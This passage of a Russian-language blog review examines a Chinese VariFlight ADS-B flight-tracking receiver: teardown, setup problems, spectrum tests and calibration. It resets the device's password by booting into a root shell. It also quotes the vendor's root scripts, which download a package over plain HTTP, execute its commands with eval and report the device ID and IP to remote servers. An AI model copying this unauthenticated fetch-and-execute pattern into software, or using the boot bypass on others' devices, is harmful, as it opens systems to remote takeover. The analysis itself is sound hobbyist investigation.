Кстати анкета была единственной страницей на английском языке, дальше всё будет на китайском. На Хабре [wtigga](https://habr.com/ru/users/wtigga/) опубликовал отличную статью о китайском интернете [«Китайский интернет и софт: о наболевшем»](https://habr.com/post/370659/). Я прочувствовал всю боль только сейчас. Если вы не читали, то самое время подготовиться.
Браузер Google Chrome с функцией перевода поможет работать на сайте, но много страниц которые ему оказались не всегда посильны.
Местами будут забавные фразы.
И так логинимся с данными из второго email.
И идем в пункт [Личная информация](http://flightadsb.feeyo.com/user/me). Как оказалось Google Chrome не всегда может перевести страницу либо ему это удается не с первого раза и в данном случае, после ряда попыток автоматического перевода, пришлось копировать текст в Google Translate. Поэтому размещаю подсказку для тех, кто столкнется с такой же проблемой.
На странице две вкладки, активная из которых отмечена красной чертой. На первой можно ничего не трогать.
1. ФИО
2. Ваш номер телефона
3. Ваш email
4. Код аэропорта
5. Название вашего ADSB-приёмника
Пункт QQ — это [китайский мессенджер Tencent QQ](https://ru.wikipedia.org/wiki/Tencent_QQ).
На второй вкладке смена пароля
1. Старый пароль
2. Новый пароль
3. Повтор нового пароля
За исключением этого, автоматический перевод почти всегда срабатывает. Дизайн карты сайта очень близок к сайту Flightradar и «особенности» перевода не затрудняют его использование.
При детальном осмотре сервис отличается, например, [интересный функционал](http://map.variflight.com/heat), которого нет у Flightaware — [тепловая карта](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BF%D0%BB%D0%BE%D0%BA%D0%B0%D1%80%D1%82%D0%B0), в переводе Google Chrome как «тепловой анализ».
Интересная особенность у некоторых рейсов:
Вероятно отсутствует информация о аэропортах вылета и посадки этого рейса.
Обзор посылки и приёмника
-------------------------
По трек-номеру посылка была отправлена 6 сентября и получена 18 сентября. Коробка имеет солидные размеры, удивившие работников почтового отделения. По дороге из отделения почты внутри что-то гремело, звякало и перекатывалось.
Открытая коробка несколько удивила отсутствием упаковочных материалов.
Для сравнение коробка у приемника Flightaware.
К удивлению содержимое коробки внешне не пострадало. Только на антенне обнаружилась царапина — содрана пленка.
Сам приемник имеет надписи только двух разъемов — питания и HDMI. Кроме двух, все разъемы выведены на одну сторону. LAN, 2 порта USB, четырехконтактный разъем (предположение, что это последовательный интерфейс подтвердилось прозвонкой на BCM 14 (8 pin TXD / Transmit),
BCM 15 (10 pin RXD / Receive)), питание 5 вольт и SMA (female) разъем для антенны.
На противоположной стороне, за двумя отверстиями в корпусе, находятся зеленый и красный светодиоды. И рядом наклейка с «серийным номером» приемника, записанным от руки. Также приемник имеет HDMI и microUSB.
Крышка приемника имеет два уха для крепления на стену, что положительно отличает его от почти такого же корпуса приемника Flightaware, которому производитель предусмотрел только четыре силиконовые ножки на дне.
Проверка возможности использовать эти два уха для монтажа приемника:
Flightaware Flightfeeder вверх днищем:
Для сравнения размеров приёмников:
Естественный вопрос «что же внутри?». Сняв крышку, закрепленную 4 винтами, видим такою компоновку.
Разъемы находятся на отдельной плате приёмника, выполненном в виде платы расширения для Raspberry Pi 3 Model B V1.2.
Для сравнения фотография Flightaware Flightfeeder (G6) без крышки. Это поколение приемников рассылали примерно до 2017 года. Построен на RPi 2 Model B v.1.1 и упрощенном до одного канала приёмнике-декодере [Mode-S Beast](http://www.modesbeast.com/scope.html).
Обратная сторона этой конструкции скрывала неожиданный элемент. Сюрпризом оказывается массивный радиатор, расположенный с нижней стороны платы. Непонятна необходимость в нем (спустя неделю я думаю, что это «тропическое исполнение». В моих условиях радиатор слегка теплый).
Дополнительно плата расширения соединена с RPi четырехконтактным разъемом с тремя проводами, припаянными к тестовым точкам PP27 (USB VCC), PP44 (USB D-),
PP45 (USB D+).
Т.е. в верхний правый разъем USB подключать ничего нельзя. Поэтому на фото корпуса, размещенной выше, видно, что из двух спаренных USB разъемов, прорезь в корпусе только напротив одного, ближнего к LAN.
Так же поступили в Flightaware, припаяв приемник к контактам одного из разъемов.
Большую часть платы расширения занимает металлический экран. Из видимых деталей разъемы на одной стороне, и на противоположной два индикатора и некая «катушка» с отводами. Напоминает шунт с переменным сопротивлением. Возможно [1div0](https://habr.com/ru/users/1div0/), автор статьи [«Зачем гнуть дорожки?»](https://habr.com/post/395625/) знает что это. При нормальной работе приемника горит зеленый светодиод. В каких случаях горит красный — мне неизвестно. Пока не наблюдал его включение.
На стороне разъемов есть находятся разъемы питания и антенны, и четырехконтактный разъем неизвестного назначения.
Вся электроника скрыта под большой жестяной крышкой экрана. У Flightaware Flightfeeder плата приемника не экранирована. На форуме Flightaware разработчики на этот вопрос ответили, что для защиты от внешних помех достаточно металлического корпуса самого приёмника.
Попытка заглянуть под экран удалась со второго подхода. Крышка отпаялась и оказалось…
[](https://hsto.org/webt/yj/pn/ji/yjpnjircjevmrqlfnwfm_kxwvxq.jpeg)
… как оказалось всё было зря — маркировка с микросхем старательно спилена.
Забегая вперед, скажу, что это оказался почти обычный RTLSDR приёмник — [RTL2832U DVB-T](https://habr.com/post/149702/) (0bda:2838), называемые «донглами», «свистками», и которым посвящено несколько статей на Хабре, которые дают представление об этих устройствах и том, как они упростили и удешевили реализацию приема и обработки радиосигналов на компьютерах. Например:
* [USB TV-тюнеры на rtl2832 — или как услышать в радиоэфире все за 600 рублей](https://habr.com/post/149702/)
* [Еще раз о приеме КВ на RTL-SDR](https://habr.com/post/373465/)
В последней хорошо описана история вопроса:
> Выход в свет микросхемы RTL2832U для приемников цифрового телевидения в формате DVB-T не обещал никаких сенсаций, ведь фирма Realtek и так несколько запоздала с ее выпуском. В 2010 году уже начинал внедряться более прогрессивный стандарт DVB-T2 с более эффективным кодированием информации, поэтому первоначально новинка не привлекла особого внимания. В течение двух лет дешевые USB-тюнеры на ее базе использовались по своему прямому назначению, пока в начале 2012-го года не произошла утечка некоторой технической информации о режимах работы данного чипа. Выяснилось, что для приема аналогового (FM) и цифрового (DAB) радио в диапазоне УКВ, эта микросхема использует принцип программного декодирования предварительно оцифрованной из эфира полосы частот. Т.е. она, грубо говоря, оцифровывает высокочастотный сигнал из антенного входа, а фильтрация конкретной несущей и ее детектирование (выделение полезной информации) из полученного цифрового потока отдается на откуп центральному процессору. Очевидно, что сделано это было из соображений экономии, точно так же, как во времена заката Dial-UP массовое распространение получили экстремально дешевые «софт-модемы», которые тоже представляли собой лишь продвинутую пару ЦАП+АЦП, а весь сигнальный процессинг выполнялся CPU в потоке с наивысшим приоритетом.
В отличии от «обычных тюнеров», которые есть у меня, у данного экземляра usb id 0bda:2832 и есть 17-значный серийный номер.
**Bus 001 Device 005: ID 0bda:2832 Realtek Semiconductor Corp. RTL2832U DVB-T**
**Found Rafael Micro R820T tuner**
Т.е. аналог «синему свистку», используемому при создании самодельных ADSB приемников. На фото приёмник на OrangePI.
Собирая приемник обратно, установил радиатор на всякий случай. Покупались специально для доработки роутеров и другой домашней аппаратуры.
Блок питания 5В 2А. Выглядит солиднее, чем блок питания для Flightaware Flightfeeder. Но с китайской вилкой… Попытался вспомнить, где у меня переходник валяется.
В коробке из белого картона оказался такой симпатичный бархатный мешочек.
"… в сундуке — заяц, в зайце — утка, в утке — яйцо, в яйце — игла..."
Внутри оказалась головоломка из трех адаптеров, которая решила вопрос «где у меня переходник валяется».
В коробке из коричневого картона оказался грозозащитный разрядник «CA-23RP 2.5GHZ 400W Made in Japan». Мне неизвестно о такой комплектации других ADS-B приемников. Очень разумно для защиты от несчастных случаев небольшой мощности.
Комнатная антенна, вероятно, для тестирования приемника без установки внешней антенны. Не годится для практического применения. Но продается на Aliexpress/Ebay как «ADS-B антенна», но её настоящее предназначение выдает надпись на магнитной подошве. У меня на эту антенну ловились самолеты не далее, чем в радиусе 30-40 км.
Рядом переходник N(female) — SMA(male). Возможно подарок на случай подключения фильтра или малошумящего усилителя.
Коаксиальный кабель для антенны 5 метров с разъемами N и SMA, и витая пара 10 метров («100% бескислородная медь, блаблабла»).
Антенный кабель с маркировкой KOPA PLESS RG400-KF MIL-C-17. Гуглится [M17/128-RG400 RG-400 Double Braid Flexible Coaxial Cable](http://www.mil-c-17.com/lkpgs/rg-400.htm) с другим цветом оболочки:
* Максимальная рабочая частота 6 GHz
* На частоте 1.20 GHz максимальное затухание 0.54 dB/m
Очень сомнительно, что это характеристики китайского кабеля. К слову у Flightaware в комплекте был паршивый антенный кабель, хоть и итальянский. Укорачивание кабеля от антенны до нескольких десятков сантиметров раза в три увеличило количество принятых пакетов приемником Flightaware.
Наружная антенна и её крепление к мачте.
Курьёз из группы [FlightFeeder ADS-B VariFlight](https://www.facebook.com/groups/446877039078083/) на Facebook:
Антенна чуть меньше диаметром, чем у Flightaware
Крепление к мачте у Flightaware из дюраля
Подарок с символикой VariFlight. Судя по надписям на обороте — этот ярлык следует цеплять на багаж на случай утери в аэропорту, заполнив контактные данные владельца.
Первое включение
----------------
Включение питания принципиально ничего не изменило во внешнем виде аппарата. Горели только индикаторы LAN, у роутера в списке выданных IP-адресов dhcp появилось новое имя хоста raspberrypi. На HDMI был обычный вывод загрузки RPi и запрос login.
И всё. Ожидаемый для таких устройств веб-интерфейс по адресу IP:8080 был недоступен. Сканирование портов устройства нашло только порт 22. На попытку войти дефолтным пользователем и паролем был далеко послан и в консоли и в ssh:
```
login as: pi
pi@raspberrypi's password:
Access denied
```
Приемник включался и выключался несколько раз, оставался сутками включенным из предположения, что он может что-то в это время скачивать либо пытаться достучаться до серверов в Китае. Ни красный, ни зеленый индикатор не загорались.
В это время я отправился на офсайт в поиске FAQ, техподдержки или еще чего-то, что могло бы рассказать, что это устройство делать должно и не должно. Впервые залогинился, но это принципиально ничего не поменяло — никаких контактных форм или форм обратной связи нет. Единственное, что нашлось — приемник был привязан к аккаунту и имел статус offline. Обратил внимание факт, что система в последний раз его видела в сети 2 сентября в 17.18 пекинского времени, за 4 дня до отправки почтой. Т.е. его проверили и подключили к аккаунту.
Проведя пару дней в брожении по сайтам «китайского интернета», которые какими-то линками ссылались на оффсайт либо на которые вели линки с оффсайта, и устав от их оригинального дизайна, я осознал, что никакой техподдержки у этого изделия нет. И в этот момент я вспомнил о двух email от ADSB展示系统(Display system of ADS-B).
«Это какая-то ерунда» — в очередной раз послышался в голове знакомый голос с акцентом. Мой email на этот адрес завернул обратно PostMaster feeyo.com
И тут глаз зацепился за вложение ко второму письму, ранее ускользавшее от взгляда (из-за непривычного нового дизайна GMail). Это оказалась инструкция об установке VariFlight ADS-B. Самое время узнать как это должно было работать.
Знакомимся с 飞常准 ADS-B 设备安装说明
-----------------------------
Ниже перевод инструкции на 6 страницах и двух языках, большую часть которой занимают иллюстрации.
*### Инструкция по установке VariFlight ADS-B
### Краткое описание
VariFlight ADS-B — это оборудование, предназначенное для энтузиастов гражданской авиации для отслеживания воздушных судов. Комплект состоит из ADS-B приёмника, блока питания, коммутационного шнура (патч-корд), антенны и кабеля для неё.
### Место установки антенны
Внешняя антенна должна быть закреплена с внешней стороны здания, насколько высоко как это возможно выше препятствий радиосигналу; установка на крыше предпочтительна. В противном случае ADS-B сигналы будут поглощены такими препятствиями, как стена или здание.
После установки антенны, Вам необходимо подключить ADS-B приёмник к интернету, выполнив следующие шаги:
1. Подключите антенный кабель к приёмнику.
2. Вставьте один конец патч-корда в роутер и другой конец ADS-B приемника.
3. Подключите блок питания к приёмнику.
Интернет должен подключиться автоматически, как только вы выполните эти три шага выше. Статический IP не поддерживается, только DHCP.
### Комплект оборудования в сборе
### Пример с использованием комнатной антенны
### Три способа узнать находится ли ваше ADS-B оборудование в состоянии онлайн или нет
**Метод первый.**
В настройках вашего роутера найдите IP адрес ADS-B приёмника и откройте *http//XXX.XXX.XXX:8080* в веб браузере, где XXX.XXX.XXX внутренний IP адрес в вашей локальной сети.
**Метод второй**
Откройте ссылку [flightadsb.variflight.com](http://flightadsb.variflight.com) в веб браузере, авторизуйтесь, и нажмите на [пункт Airport](http://flightadsb.variflight.com/airport/position)
**Метод третий, только для китайских добровольцев**
Для китайских пользователей возможно использование WeChat.*
На этом инструкция закончилась. В соответствии с этой инструкцией устройство работает частично — получает IP в локальной сети, но не отображает вебинтерфейс, в котором можно узнать [dump1090](https://github.com/antirez/dump1090) — декодер Mode S, созданный для RTLSDR донглов и используемый в подобных устройствах.
Без работающего dump1090 никаких данных на сервер не поступит. Странно, что устройство как-то работало при проверке перед отправкой. «Это какая-то ерунда». Раз китайцы никак не интересуются судьбой устройства, и никаких признаков техподдержки найти не удалось, то совесть моя совершенно чиста, если я попробую его отремонтировать самостоятельно.
Берем устройство под свой контроль
----------------------------------
Разобрав приемник, сразу же при получении, я сделал образ microSD в состоянии до первого включения и немного изучил содержимое, сразу заподозрив как приемник отдает данные на сервер — в /root/ находились файлы и скрипты с адресами сервиса.
### Сброс пароля пользователя PI
Инструкцию о смене «забытого пароля» с картинками можно найти по этой [ссылке](https://www.raspberrypistarterkits.com/how-to/reset-forgotten-raspberry-pi-password/).
Разбираю еще раз приемник. Чтобы добраться до microSD надо открутить все винты и вытащить обе платы. В дальнейшем, работая с приёмником, я не собирал обратно в корпус т.к. приходилось сменять две microSD с разными системами.
Вытаскиваем microSD из Rpi, на компьютере делаем резервную копию, если еще не делали, и редактируем файл — **cmdline.txt**.
```
dwc_otg.lpm_enable=0 console=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait
```
В конец этой строки добавляем
```
init=/bin/sh
```
Возвращаем microSD обратно в RPi, подключаем монитор и клавиатуру. Подключаем питание. Когда по экрану перестают бежать строки, нажимаем Enter. Появляется приглашении консоли, в которой набираем
```
mount -rw -o remount /
passwd pi
sync
exec /sbin/init
```
Снова бегут строки и снова ждем, когда они перестанут бежать, после чего выключаем. Достаем microSD из RPi. На компьютере редактируем либо восстанавливаем резервную копию **cmdline.txt** — удаляем «init=/bin/sh».
В последний раз возвращаем microSD обратно в RPi. Включаем. Успешно логинимся с новым паролем. Включаем ssh введя raspi-config и выбрав в меню SSH.
Затем командой top хочу посмотреть, чем живет приёмник и неожиданно замечаю процессы wget и… dump-1090. Немая сцена. Проверяю в веб браузере http//XXX.XXX.XXX:8080 — есть интерфейс.
Не сказать, что неожиданно, но точно непривычно. Из инструкции проверяю **Метод второй** — там тоже всё хорошо: значок приёмника позеленел, а ниже появился список самолетов, которые он услышал.
Можно было бы на этом бы и закончить, но во-первых использовать RPi3 только для этого было бы непростительно. А во-вторых, если бы это устройство стабильно работало. Например, пропало из списка IP адресов DHCP роутера, при этом было доступно при обращении по полученному ранее IP, и одновременно не было изображения на HDMI. Но самым важным оказалась нестабильность вещания. Согласно статистике на странице приемника, он работал несколько часов в сутки. Иногда полные сутки, иногда несколько часов, иногда ноль часов. Несколько дней ушло на изучение системы — не всякий софт устанавливался. Китайские репозитории… Немецкий голос окончательно убедил, что надо сделать ADS-B приёмник здорового человека, а для этого надо накатить на другую microSD образ PiAware. Оригинальная microSD еще пригодилась для выяснения как это работает. Как минимум сохраните файлы из /root. Желательно сделайте образ.
PiAware
-------
[PiAware](https://ru.flightaware.com/adsb/piaware/) — программное обеспечение Linux для передачи полетных данных на FlightAware. Содержит форк dump1090-mutability. Со слов разработчиков, одно из отличий, что не посылает на сервера FlightAware пакеты, если в них нет отличий от первого. Т.е. если самолет не изменил скорость, высоту, то эти данные обрабатывать не надо, и таким образом снижает нагрузку на сервера.
Примерно два года назад FlightAware начал перевод текстов на сайте на русский язык. И многое по созданию собственной станции PiAware можно найти [офсайте](https://ru.flightaware.com/adsb/piaware/build). Суть создания станции на RPi с RTLSDR сводится к записи на microSD готового образа PiAware on Raspbian Linux с помощью программы [Etcher](https://www.balena.io/etcher/). Далее, прежде чем вставить карту в RPi и дождаться загрузки, необходимо внести некоторые изменения. Для того чтобы включить доступ SSH создайте пустой файл без расширения с именем ssh в загрузочном разделе (/boot partition). А в файл piaware-config.txt можно внести необходимые [настройки](https://ru.flightaware.com/adsb/piaware/advanced_configuration), например, указать статический IP или включить WiFi и указать SSID/пароль, при условии, что подключен поддерживаемый USB WiFi адаптер. Эти же настройки можно выполнить из консоли командой piaware-config *Setting\_name Possible\_values*.
Если у Вас уже есть аккаунт Flightaware, то через 5 минут станция [привяжется к аккаунту](https://flightaware.com/adsb/piaware/claim), получив Unique Identifier. И у приемника появится собственная страница со статистикой.
По умолчанию пользователь PI имеет пароль flightaware. Хорошей идеей будет сразу же сменить пароль.
### «Испытания»
Испытания именно в кавычках, просто впечатления. Имея два устройства с почти одинаковым ПО можно оценить их способности.
У меня есть бесплатный приемник Flightaware и первое, что я испытал, была комплектная VariFlight антенна. Я просто заменил на неё антенну Flightaware. И пока изучал VariFlight приёмник, на странице Flightaware собиралась статистика FlightFeeder. Вывод неутешительный. Хотя по максимальной дальности ничего не изменилось, как и FlightFeeder, в направлении прямой видимости, ловя некоторые на расстоянии 400 км, но статистика самолетов в час/сутки просела в 2-3 раза. Уверено принимает борта на 300+ километров, но видит немного меньше сообщений. Что внутри корпуса самой антенны не знаю — не разборная.
К приемнику VariFlight была подключена антенна Flightaware и он показал статистику того же порядка. А с родной антенной еще ниже.
Расшифрую статистику. Статистика с 10-05 по 10-07 — это приемник VariFlight с антенной Flightaware. 10-08 была подключена комплектная антенна и с 10-09 по 10-11 статистика комплекта VariFlight. 10-12 изменен скрипт send\_message.py на сбор данных с Flightaware Flightfeeder. После этого на VariFlight пошли данные с него и 10-13 — суточная статистика на основе данных Flightaware Flightfeeder. Далее больше, например, за 10-18 — 396 рейсов, 814176 пакетов, за 10-19 — 471 рейсов, 860415 пакетов.
Оценим насколько приемник VariFlight подвержен радиопомехам. Для этого просканируем диапазон 800МГц-1200МГц и сгенерируем тепловую карту.
```
sudo apt-get install python-imaging
sudo wget https://raw.githubusercontent.com/keenerd/rtl-sdr-misc/master/heatmap/heatmap.py
sudo chmod +x heatmap.py
sudo systemctl stop dump1090-fa
sudo rtl_power -f 800M:1200M:100k -i 30 -c 50% -e 30m -g 30 -F 9 >scan.csv
```
Через полчаса (-e 30m) сканирование прекращается и генерируем изображение.
```
./heatmap.py scan.csv scan.png
```
Перезагружаем устройство для восстановления работы dump1090.
И копируем полученное изображение на компьютер с помощью (win)scp.
Это фрагмент тепловой карты сканирования около частоты 1090 МГц. Полное изображение доступно по клику.
[](https://habrastorage.org/webt/p3/y2/_2/p3y2_23shm5rxrpb13xxy59ju8y.png)
Яркие желтые полосы — это мобильная связь. Ничего необычного — у него нет никаких префильтров как у Flightfeeder, и ему сильно мешают станции мобильной связи. В этом он абсолютно такой же как простой «синий свисток» упоминавшийся ранее. Возможно изготовление в виде специальной платы расширения имеет какой-то смысл, например, непонятна роль «гнутых дорожек» на этой плате. Изготавливая специализированную плату было бы не сложно установить и малошумящий усилитель и ПАВ-фильтр на 1090 МГц. Только посмотрев скрипты в устройстве, у меня появилась мысль зачем это сделано — один скрипт называется acars.py.
Насколько бы усилитель и фильтр бы улучшил характеристики приемника показывает пример из упомянутой выше группы на Facebook. Один из пользователей VariFlight Box подключил вместо штатного приемника специализированный донгл от Flightaware, что вывело его в топ рейтинга из примерно тысячи пользователей (конечно еще повлияло место установки и другая антенна).
FlightAware выпускает две модели донглов — Pro Stick и Pro Stick Plus, являющимися всё тем же «синим свистком», но имеющими предварительный усилитель сигнала, и в последнем дополнительно установлен ПАВ-фильтр, который обеспечивает устранение ненужных сигналов в районах с большим количеством помех, например в городах, а также эти модели оборудованы антенным разъемом SMA. Эти донглы используются в «оранжевых» приемниках Flightaware Flightfeeder.
**со снятой крышкой**
Название скрипта «acars.py» намекает, что отсутствие каких либо фильтров не является ошибкой и экономией. [Адресно-отчётная система авиационной связи](https://ru.wikipedia.org/wiki/ACARS) (англ. Aircraft Communications Addressing and Reporting System, ACARS) — цифровая система радиосвязи, применяемая в авиации для передачи коротких сообщений между летательным аппаратом и наземными станциями. Рабочая частота для ACARS в Европе — 131,725 МГц. Поэтому устройство не может иметь фильтр только для 1090МГц, иначе не сможет принять сигнал на 131 МГц. Что внутри антенны — неизвестно, ломать её не собираюсь, но очевидно, что её «широкоохватность» так же предусмотрена создателями. Аналогично способу выше сгенерировал тепловую карту в диапазоне 100 МГц-500 МГц. Фрагмент тепловой карты сканирования около частоты 450 МГц. Полное изображение также доступно по клику.
[](https://habrastorage.org/webt/_a/hr/jp/_ahrjphvqm3d3h22bc-1djr0j0c.png)
На тепловой карте видны пульты управления, охранные датчики, беспроводные дверные звонки, беспроводные датчики метеостанций, радиолюбители, ФМ-радиостанции, и прочее, и прочее.
Например, установив rtl\_433 можно увидеть данные соседских беспроводных датчиков метеостанций и при желании ими воспользоваться как автор [этой статьи](https://raspberrypiandstuff.wordpress.com/2017/08/04/rtl_433-on-a-raspberry-pi-made-bulletproof/).
А запустив rtl\_tcp можно послушать радиолюбителей и ФМ-радио.
Интересно, что не у всех радиолюбителей рация точно держит частоту. Забавно было видеть, как радиолюбители оценивали как слышно собеседника, а частота одной из радиостанций была где-то в стороне.
А вот сам китайский приемник на родной системе показал точность — 0 PPM. Об методике измерения PPM можно прочитать на Хабре в статье [quwy](https://habr.com/ru/users/quwy/) [«Еще раз о приеме КВ на RTL-SDR»](https://habr.com/post/373465/). Очень желательно откорректировать PPM для наилучшего приема. Что и сделали китайцы. На Piaware есть небольшая ошибка, которую можно и нужно убрать, указав правильное значение PPM командой sudo piaware-config rtlsdr-ppm <значение PPM>.
**Инструкция по калибровке RTLSDR с помощью rtl\_test и kalibrate-rtl**
```
rtl_test -p
```
Ждем около 10 минут, пока значения не стабилизируется. Это будет искомый ppm.
Повысить точность можно по сигналам вышек мобильной связи с помощью утилиты kalibrate-rtl.
```
sudo apt-get install libtool autoconf automake libfftw3-dev
git clone https://github.com/asdil12/kalibrate-rtl.git
cd kalibrate-rtl
git checkout arm_memory
./bootstrap
./configure
make
sudo make install
kal -s GSM900
```
Из списка каналов необходим тот, у кого значение «power» больше.
Полученный номер канала используем в команде kal -c <номер канала> -e <грубое значение PPM, определенное ранее вручную или утилитой rtl\_test> -v
В результате получаем «average absolute error». И используем это значение ppm, округленное до целого, в команде sudo piaware-config rtlsdr-ppm <значение PPM>
В качестве итога можно сказать, что приемник VariFlight по железу немногим лучше, чем то, что можно собрать самостоятельно. Это хорошая база, чтобы начать заниматься этим хобби (и показало испытания железа, его можно применить для широкого спектра других задач. Тем более есть три свободных USB порта).
Однозначный недостаток как ADSB-приемника — ПО и китайский интерфейс сайта. Если с китайским сайтом сделать ничего нельзя, то можно доработать ПО самого приёмника. Наиболее легкий способ — это установить PiAware и настроить раздачу на VariFlight. Затем можно настроить раздачу на Flightradar24 и получить аккаунт с особыми условиями и там. Пример использования аккаунта с особыми возможностями — доступ к архивным данным Flightaware (крушение Ан-148 «Саратовских авиалиний»).
Отдаем данные на VariFlight
---------------------------
Возвращаемся к содержимому каталога root. Его можно найти на [GitHub](https://github.com/dextercai/FEEYO-Adsb/). Названия файлов однозначно намекают на их функции.
```
root@raspberrypi:/home/pi# ls /root -l
total 24
drwxr-xr-x 8 root root 4096 Nov 22 2016 dump1090
drwxr-xr-x 5 root root 4096 Oct 16 18:54 get_message
-rwxr-xr-x 1 root root 567 Nov 22 2016 install.sh
drwxr-xr-x 7 root root 4096 Nov 22 2016 rtl-sdr
-rwxr-xr-x 1 root root 62 Nov 22 2016 synctime.sh
-rwxr-xr-x 1 root root 1300 Nov 29 2016 task.sh
```
**install.sh**
```
#!/bin/bash
apt-get update
apt-get install cmake libusb-1.0-0-dev build-essential vim ntpdate -y
apt-get remove ntp
cd get_message/
mv rtl-sdr-blacklist.conf /etc/modprobe.d/
mv dump.sh /etc/init.d/dump
chmod +x /etc/init.d/dump
mv task.sh ../
chmod +x ../task.sh
cd ../rtl-sdr/
mkdir rtl
cd rtl
cmake ../ -DINSTALL_UDEV_RULES=ON
make install
ldconfig
cd ../../dump1090/
make
cd /root/get_message/
python get_ip.py
ps aux | grep py
update-alternatives --config editor
crontab -e
* * * * * /root/task.sh >/dev/null 2>&1
* * */6 * * /root/synctime.sh >/dev/null 2>&1
```
Из последних строк install.sh видно, что cron добавляются два задания — запускать каждую минуту task.sh и каждые 6 дней synctime.sh
**synctime.sh**
```
#!/bin/bash
/usr/sbin/ntpdate 115.182.42.248 > /dev/null 2>&1
```
> 115.182.42.248 — BeiJing wanglianxuntong Telecom Technology Co.,Ltd, Beijing, China.
>
> remarks: Please note that CNNIC is not an ISP and is not
>
> remarks: empowered to investigate complaints of network abuse.
>
> remarks: Please contact the tech-c or admin-c of the network.
**task.sh**
```
#!/bin/bash
ps -eaf | grep dump1090 | grep -v grep
if [ $? -eq 1 ]
then
/etc/init.d/dump stop
sleep 1
/etc/init.d/dump start
echo `date "+%G-%m-%d %H:%M:%S"`" dump1090 restart"
echo "------------------------------------------------------------------------"
else
echo `date "+%G-%m-%d %H:%M:%S"`" dump1090 running"
echo "------------------------------------------------------------------------"
fi
ps -eaf | grep send_message.py | grep -v grep
# if not found - equals to 1, start it
if [ $? -eq 1 ]
then
python -O /root/get_message/send_message.py &
echo `date "+%G-%m-%d %H:%M:%S"`" send_message restart"
echo "------------------------------------------------------------------------"
else
echo `date "+%G-%m-%d %H:%M:%S"`" send_message running"
echo "------------------------------------------------------------------------"
fi
ps -eaf | grep get_ip.py | grep -v grep
# if not found - equals to 1, start it
if [ $? -eq 1 ]
then
python /root/get_message/get_ip.py
echo `date "+%G-%m-%d %H:%M:%S"`" get_ip restart"
echo "------------------------------------------------------------------------"
else
echo `date "+%G-%m-%d %H:%M:%S"`" get_ip running"
echo "------------------------------------------------------------------------"
fi
```
Скрипт task.sh, запускаемый ежеминутно cron-ом, проверяет и при необходимости перезапускает dump1090, скрипты send\_message.py и get\_ip.py.
```
pi@raspberrypi:~ $ ps -eaf | grep dump1090 | grep -v grep
root 830 1 14 Oct12 ? 13:49:25 ./dump1090 --net --net-sbs-port 30003
pi@raspberrypi:~ $ ps -eaf | grep get_ip.py | grep -v grep
pi@raspberrypi:~ $ ps -eaf | grep send_message.py | grep -v grep
root 838 1 0 Oct12 ? 00:09:20 python -O /root/get_message/send_message.py
```
В каталоге **get\_message** находятся скрипты python, один из которых, send\_message.py, отправляет данные.
```
root@raspberrypi:/home/pi# ls /root/get_message -l
total 40
-rw-r--r-- 1 root root 954 Nov 22 2016 acars.py
-rw-r--r-- 1 root root 1341 Nov 22 2016 acars.sh
-rw-r--r-- 1 root root 173 Nov 22 2016 config.ini
drwxr-xr-x 8 root root 4096 Nov 22 2016 dump1090
-rwxr-xr-x 1 root root 1731 Nov 22 2016 get_ip.py
drwxr-xr-x 3 root root 4096 Nov 22 2016 get_message1117
-rwxr-xr-x 1 root root 3400 Dec 7 2016 init.sh
-rw-r--r-- 1 root root 33 Oct 16 18:51 md5.txt
-rwxr-xr-x 1 root root 1143 Oct 12 18:16 send_message.py
-rw-r--r-- 1 root root 16 May 27 2016 UUID
```
**init.sh**
```
#!/bin/bash
path='/root/get_message/'
DATE=`date -d "today" +"%Y-%m-%d_%H:%M:%S"`
result=""
UUID=""
execom=""
FromServer=""
SourceMD5=""
device=""
if ps -ef |grep dump1090 |grep -v grep >/dev/null
then
device="adsb"
elif ps -ef |grep acarsdec |grep -v grep >/dev/null
then
device="acars"
else
device="unknow"
fi
IpAddr=`/sbin/ifconfig |grep "addr:" |grep -v 127.0.0.1 |cut -d ':' -f2 |cut -d ' ' -f1`
if [ -f "/root/get_message/UUID" ]
then
UUID=`cat /root/get_message/UUID`
fi
execut(){
while read command
do
eval $command
if [ $? -ne 0 ]
then
execom=$command
result=0
break
fi
result=1
done <$path/package/exe.txt
}
removefile(){
rm -rf $path/package
rm -f $path/*tar.gz*
}
main(){
ps -eaf | grep "pic.veryzhun.com/ADSB/update/newpackage.tar.gz" | grep -v grep
if [ $? -eq 1 ]
then
/usr/bin/wget -P $path -c -t 1 -T 2 pic.veryzhun.com/ADSB/update/newpackage.tar.gz
if [ -f "$path/newpackage.tar.gz" ]
then
dmd5=`md5sum $path/newpackage.tar.gz|cut -d ' ' -f1`
if [ "$SourceMD5" = "$dmd5" ]
then
/bin/tar -xzf $path/newpackage.tar.gz -C $path
echo $SourceMD5 > $path/md5.txt
/bin/touch /usr/src/start.pid
echo $DATE > /usr/src/start.pid
execut
if [ $result -eq 1 ]
then
curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom=$execom -d message="success" http://receive.cdn35.com/ADSB/result.php
else
curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom=$execom -d message="fail" http://receive.cdn35.com/ADSB/result.php
fi
removefile
else
curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="post file has been changed" http://receive.cdn35.com/ADSB/result.php
removefile
fi
else
curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="download failed" http://receive.cdn35.com/ADSB/result.php
removefile
fi
fi
}
if curl -m 2 -s pic.veryzhun.com/ADSB/update.php >/dev/null;then
removefile
FromServer=`curl -m 2 -s -d UUID="$UUID" -d IpAddr="$IpAddr" -d Device="$device" pic.veryzhun.com/ADSB/update.php`
SourceMD5=`echo $FromServer|cut -d ' ' -f1`
length=`echo $SourceMD5 |wc -L`
if [ $length -ne 32 ]
then
curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="md5 style error" http://receive.cdn35.com/ADSB/result.php
exit
fi
else
curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="curl failed" http://receive.cdn35.com/ADSB/result.php
exit
fi
DesMD5=`cat $path/md5.txt`
if [ "$SourceMD5" = "$DesMD5" ]
then
curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="no update,md5 without change " http://receive.cdn35.com/ADSB/result.php
exit
else
main
fi
```
Скрипт init.sh проверяет есть ли обновление и устанавливает новый send\_message.py
**get\_ip.py**
```
import socket
import fcntl
import struct
import urllib2
import urllib
